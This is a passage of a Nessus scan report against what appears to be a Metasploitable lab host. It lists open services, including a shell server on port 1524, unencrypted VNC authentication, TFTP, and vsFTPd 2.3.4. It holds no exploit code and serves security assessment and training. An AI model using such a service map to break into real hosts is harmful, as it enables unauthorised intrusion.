Plugin Output

tcp/21/ftp

```
An FTP server is running on this port.
```

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/22/ssh

```
An SSH server is running on this port.
```

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/25/smtp

```
An SMTP server is running on this port.
```

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/80/www

```
A web server is running on this port.
```

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/1524/wild_shell

```
A shell server (Metasploitable) is running on this port.
```

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/2121/ftp

```
An FTP server is running on this port.
```

22964 - Service Detection

Synopsis

The remote service could be identified.

Description

Nessus was able to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/08/19, Modified: 2024/03/26

Plugin Output

tcp/5900/vnc

```
A vnc server is running on this port.
```

17975 - Service Detection (GET request)

Synopsis

The remote service could be identified.

Description

It was possible to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0935

Plugin Information

Published: 2005/04/06, Modified: 2021/10/27

Plugin Output

tcp/6667/irc

```
An IRC daemon is listening on this port.
```

11153 - Service Detection (HELP Request)

Synopsis

The remote service could be identified.

Description

It was possible to identify the remote service by its banner or by looking at the error message it sends when it receives a 'HELP'

request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/11/18, Modified: 2018/11/26

Plugin Output

tcp/3306/mysql

```
A MySQL server is running on this port.
```

25220 - TCP/IP Timestamps Supported

Synopsis

The remote service implements TCP timestamps.

Description

The remote host implements TCP timestamps, as defined by RFC1323. A side effect of this feature is that the uptime of the remote host can sometimes be computed.

See Also

http://www.ietf.org/rfc/rfc1323.txt

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2023/10/17

Plugin Output

tcp/0

11819 - TFTP Daemon Detection

Synopsis

A TFTP server is listening on the remote port.

Description

The remote host is running a TFTP (Trivial File Transfer Protocol) daemon. TFTP is often used by routers and diskless hosts to retrieve their configuration. It can also be used by worms to propagate.

Solution

Disable this service if you do not use it.

Risk Factor

None

Plugin Information

Published: 2003/08/13, Modified: 2022/12/28

Plugin Output

udp/69/tftp

10287 - Traceroute Information

Synopsis

It was possible to obtain traceroute information.

Description

Makes a traceroute to the remote host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 1999/11/27, Modified: 2023/12/04

Plugin Output

udp/0

```
For your information, here is the traceroute from 192.168.50.100 to 192.168.50.101 :
192.168.50.100
192.168.50.101

Hop Count: 1
```

19288 - VNC Server Security Type Detection

Synopsis

A VNC server is running on the remote host.

Description

This script checks the remote VNC server protocol version and the available 'security types'.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2005/07/22, Modified: 2021/07/13

Plugin Output

tcp/5900/vnc

```
\nThe remote VNC server chose security type #2 (VNC authentication)
```

65792 - VNC Server Unencrypted Communication Detection

Synopsis

A VNC server with one or more unencrypted 'security-types' is running on the remote host.

Description

This script checks the remote VNC server protocol version and the available 'security types' to determine if any unencrypted 'security-types' are in use or available.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2013/04/03, Modified: 2014/03/12

Plugin Output

tcp/5900/vnc

```
The remote VNC server supports the following security type
which does not perform full data communication encryption :

  2 (VNC authentication)
```

10342 - VNC Software Detection

Synopsis

The remote host is running a remote display software (VNC).

Description

The remote host is running VNC (Virtual Network Computing), which uses the RFB (Remote Framebuffer) protocol to provide remote access to graphical user interfaces and thus permits a console on the remote host to be displayed on another.

See Also

https://en.wikipedia.org/wiki/Vnc

Solution

Make sure use of this software is done in accordance with your organization's security policy and filter incoming traffic to this port.

Risk Factor

None

Plugin Information

Published: 2000/03/07, Modified: 2017/06/12

Plugin Output

tcp/5900/vnc

```
The highest RFB protocol version supported by the server is :

  3.3
```

135860 - WMI Not Available

Synopsis

WMI queries could not be made against the remote host.

Description

WMI (Windows Management Instrumentation) is not available on the remote host over DCOM. WMI queries are used to gather information about the remote host, such as its current state, network interface configuration, etc.

Without this information Nessus may not be able to identify installed software or security vunerabilities that exist on the remote host.

See Also

https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2020/04/21, Modified: 2024/03/26

Plugin Output

tcp/445/cifs

```
Can't connect to the 'root\CIMV2' WMI namespace.
```

11424 - WebDAV Detection

Synopsis

The remote server is running with WebDAV enabled.

Description

WebDAV is an industry standard extension to the HTTP specification.
It adds a capability for authorized users to remotely add and manage the content of a web server.

If you do not use this extension, you should disable it.

Solution

http://support.microsoft.com/default.aspx?kbid=241520

Risk Factor

None

Plugin Information

Published: 2003/03/20, Modified: 2011/03/14

Plugin Output

tcp/80/www

10150 - Windows NetBIOS / SMB Remote Host Information Disclosure

Synopsis

It was possible to obtain the network name of the remote host.

Description

The remote host is listening on UDP port 137 or TCP port 445, and replies to NetBIOS nbtscan or SMB requests.

Note that this plugin gathers information to be used in other plugins, but does not itself generate a report.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 1999/10/12, Modified: 2021/02/10

Plugin Output

udp/137/netbios-ns

```
The following 7 NetBIOS names have been gathered :

 METASPLOITABLE   = Computer name
 METASPLOITABLE   = Messenger Service
 METASPLOITABLE   = File Server Service
 __MSBROWSE__     = Master Browser
 WORKGROUP        = Workgroup / Domain name
 WORKGROUP        = Master Browser
 WORKGROUP        = Browser Service Elections

This SMB server seems to be a Samba server - its MAC address is NULL.
```

52703 - vsftpd Detection

Synopsis

An FTP server is listening on the remote port.

Description

The remote host is running vsftpd, an FTP server for UNIX-like systems written in C.

See Also

http://vsftpd.beasts.org/

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/03/17, Modified: 2019/11/22

Plugin Output

tcp/21/ftp

```
Source  : 220 (vsFTPd 2.3.4)
Version : 2.3.4
```